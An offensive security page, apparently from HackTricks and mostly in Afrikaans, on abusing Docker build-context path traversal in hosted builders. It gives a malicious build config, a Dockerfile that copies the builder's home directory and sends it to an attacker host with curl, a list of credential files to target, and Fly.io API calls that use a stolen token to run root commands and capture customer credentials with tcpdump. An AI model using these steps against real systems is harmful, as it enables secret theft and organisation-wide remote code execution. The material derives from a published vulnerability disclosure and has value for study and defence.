# Misbruik van Docker Build Context in gehoste builders (Path Traversal, Exfil, and Cloud Pivot)

{{#include ../banners/hacktricks-training.md}}

## TL;DR

As 'n CI/CD-platform of gehoste builder contributors toelaat om die Docker build context-path en Dockerfile-path te spesifiseer, kan jy dikwels die context op 'n ouer gids stel (bv. "..") en daarmee gasheer-lêers deel van die build context maak. Dan kan 'n kwaadwillige Dockerfile COPY gebruik om sekretes wat in die builder-gebruiker se tuisgids gevind word (bv. ~/.docker/config.json) uit te voer. Gestole registry tokens kan ook werk teen die provider se control-plane APIs, wat org-wye RCE moontlik maak.

## Aanvalsoppervlak

Baie gehoste builder/registry-dienste doen ongeveer dit wanneer hulle user-submitted images bou:
- Lees 'n repo-level config wat insluit:
  - build context path (gestuur na die Docker daemon)
  - Dockerfile path relatief tot daardie context
- Kopieer die aangeduide build context directory en die Dockerfile na die Docker daemon
- Bou die image en hardloop dit as 'n gehoste diens

As die platform nie die build context kanoniseer en beperk nie, kan 'n gebruiker dit op 'n ligging buite die repository stel (path traversal), wat veroorsaak dat arbitrêre gasheer-lêers wat deur die build-gebruiker gelees kan word deel van die build context word en beskikbaar is vir COPY in die Dockerfile.

Praktiese beperkings wat algemeen waargeneem word:
- Die Dockerfile moet binne die gekose context-path wees en sy pad moet vooraf bekend wees.
- Die build-gebruiker moet lees-toegang hê tot lêers wat in die context ingesluit is; spesiale device-lêers kan die copy breek.

## PoC: Path traversal via Docker build context

Example malicious server config declaring a Dockerfile within the parent directory context:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Notes:
- Die gebruik van ".." verwys dikwels na die builder-gebruiker se tuisgids (bv. /home/builder), wat tipies sensitiewe lêers bevat.
- Plaas jou Dockerfile onder die repo se gidsnaam (bv. repo "test" → test/Dockerfile) sodat dit binne die uitgebreide ouer-konteks bly.

## PoC: Dockerfile om die gasheer-konteks in te neem en te eksfiltreer
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Teikens wat algemeen van $HOME teruggevind word:
- ~/.docker/config.json (registry auths/tokens)
- Ander cloud/CLI caches en configs (bv. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

Wenk: Alhoewel daar 'n .dockerignore in die repository is, bepaal die kwesbare platform-kant konteksseleksie steeds wat na die daemon gestuur word. As die platform die gekose pad na die daemon kopieer voordat dit jou repo se .dockerignore evalueer, kan host-lêers steeds blootgestel word.

## Cloud pivot with overprivileged tokens (voorbeeld: Fly.io Machines API)

Sommige platforms gee 'n enkele bearer token wat vir beide die container registry en die control-plane API gebruik kan word. As jy 'n registry token exfiltrate, probeer dit teen die provider API.

Voorbeeld API-aanroepe teen Fly.io Machines API wat die gestole token uit ~/.docker/config.json gebruik:

Lys apps in 'n org:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Voer 'n kommando as root binne enige masjien van 'n app uit:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Uitkoms: organisasie-wyd remote code execution oor alle gehoste apps waar die token voldoende bevoegdhede het.

## Diefstal van geheime vanaf gekompromitteerde gehoste dienste

Met exec/RCE op gehoste bedieners kan jy deur kliënte verskafde geheime (API keys, tokens) insamel of prompt-injection-aanvalle uitvoer. Voorbeeld: installeer tcpdump en vang HTTP-verkeer op port 8080 om inkomende kredensiale te onttrek.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Gevangde versoeke bevat dikwels client credentials in headers, bodies, of query params.

## Verwysings

- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)

{{#include ../banners/hacktricks-training.md}}
